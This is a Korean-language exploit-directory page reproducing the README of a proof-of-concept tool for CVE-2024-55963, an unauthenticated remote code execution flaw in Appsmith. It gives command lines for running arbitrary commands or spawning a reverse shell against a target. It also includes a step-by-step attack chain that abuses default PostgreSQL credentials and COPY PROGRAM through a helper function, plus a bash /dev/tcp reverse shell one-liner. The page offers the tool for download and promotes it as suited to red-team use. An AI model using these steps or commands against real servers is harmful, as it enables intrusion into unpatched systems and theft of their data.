Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-55963 — CVE-2024-55963, 기본 포함된 잘못 구성된 PostgreSQL 데이터베이스로 인해 Appsmith Enterprise 플랫폼에서 인증되지 않은 원격 코드 실행을 허용합니다. | Kitploit
도구/GitHubGitHub/superswan/cve-2024-55963
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingMisconfigurationRed TeamingDatabase Security
GitHubsuperswan/cve-2024-55963

CVE-2024-55963

CVE-2024-55963, 기본 포함된 잘못 구성된 PostgreSQL 데이터베이스로 인해 Appsmith Enterprise 플랫폼에서 인증되지 않은 원격 코드 실행을 허용합니다.

저장소 보기
241년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE‑2024‑55963 Appsmith RCE PoC

PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다.

이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20부터 마지막 취약 버전인 v1.51까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다.


빠른 시작

root@kitploit:~
# 임의 명령 실행 (기본값은 `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"

# 리버스 셸 생성
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>

참고: 서버가 셀프 서비스 가입을 허용하는 한 모든 자격 증명이 작동합니다. 스크립트는 먼저 로그인을 시도하고, 계정이 없으면 등록으로 대체합니다.


작동 방식 (개요)

  1. CSRF 및 세션 처리 – 여러 가능한 엔드포인트 또는 쿠키 저장소에서 토큰을 가져와 이후 요청에 사용합니다.
  2. 로그인/회원가입 흐름 – 제공된 이메일/비밀번호로 로그인하거나 새 사용자를 등록합니다.
  3. 워크스페이스 탐색 – 기존 워크스페이스를 가져오거나, 없으면 온보딩 흐름을 실행하여 자동으로 생성합니다.
  4. 환경 감지 – /api/v1/environments/workspaces/{id}에 쿼리합니다. 없으면 레거시 모드로 전환하여 environmentId를 비워둡니다.
  5. 애플리케이션 및 페이지 설정 – /api/v1/applications에 POST 요청을 보내고 pageId를 추출합니다.
  6. 데이터소스 생성 – localhost:5432에 postgres/postgres 자격 증명으로 연결되는 로컬 PostgreSQL 데이터소스를 생성합니다 (취약한 기본 pg_hba.conf에서 허용됨).
  7. SQL 객체 – 헬퍼 PL/pgSQL 함수 exec_cmd()와 STDOUT을 수집하는 임시 테이블 cmd_output을 업로드합니다.
  8. 명령 실행 – /api/v1/actions/execute 엔드포인트를 통해 SELECT * FROM exec_cmd('<your cmd>')를 실행합니다.
  9. 리버스 셸 (선택 사항) – bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'을 실행합니다.

요구사항

  • Python ≥ 3.8
  • requests

테스트된 버전

Appsmith 버전결과
1.51✅ RCE
1.45✅ RCE
1.30✅ RCE, 레거시 경로
1.52+❌ 패치됨 – 함수 생성 실패

Rhino Security Labs PoC와의 차이점

이 PoC는 Rhino Security Labs 익스플로잇을 약간 개선한 것입니다 (연구를 검토할 당시 그들이 이미 공개 PoC를 가지고 있는지 몰랐습니다).

Rhino의 PoC는 정적 헤더, 쿠키 및 자격 증명을 사용합니다. 해당 익스플로잇을 테스트하는 동안 특정 버전에서 계정이 이미 존재할 때 문제가 발생했습니다. 이 스크립트는 사용자가 명령줄에서 원하는 이메일/비밀번호 조합을 입력할 수 있도록 합니다. 언급한 대로 CSRF 토큰을 하드코딩된 값에 의존하지 않고 추출합니다.

  • 이 버전은 Environments API 엔드포인트가 없는 구형 서버에서도 작동합니다.
  • 실행 경로가 다릅니다. 이 버전은 exec_cmd() PL/pgSQL 래퍼 내에서 COPY PROGRAM을 활용하고 /actions/execute API를 사용하지만, 이는 상대적으로 노이즈가 많습니다. Rhino는 내장된 스키마 미리보기 엔드포인트를 사용해 임시 COPY (SELECT …) 문을 발행합니다. 이 엔드포인트는 출력 길이를 자르고 추가 인용 규칙을 적용하므로 긴 명령이나 체인 페이로드를 전달하기 어렵습니다.
  • 단일 리버스 셸 플래그 (:
  • 앱/데이터소스/함수 이름을 무작위화합니다.
  • pyfiglet 종속성 없음
  • environmentId 헤더를 자동 감지하여 구형 서버를 지원합니다. Rhino의 익스플로잇은 항상 존재한다고 가정합니다.

이러한 설계 선택을 통해 익스플로잇을 더 짧고 안정적이며 레드팀 사용에 적합하게 만들면서도 동일한 기본 취약점을 시연합니다.

참고문헌

rhinosecuritylabs.com


법적 고지

이 코드는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 실행하는 것은 불법일 가능성이 높습니다. 저자는 오용에 대해 책임을 지지 않습니다.

도구 다운로드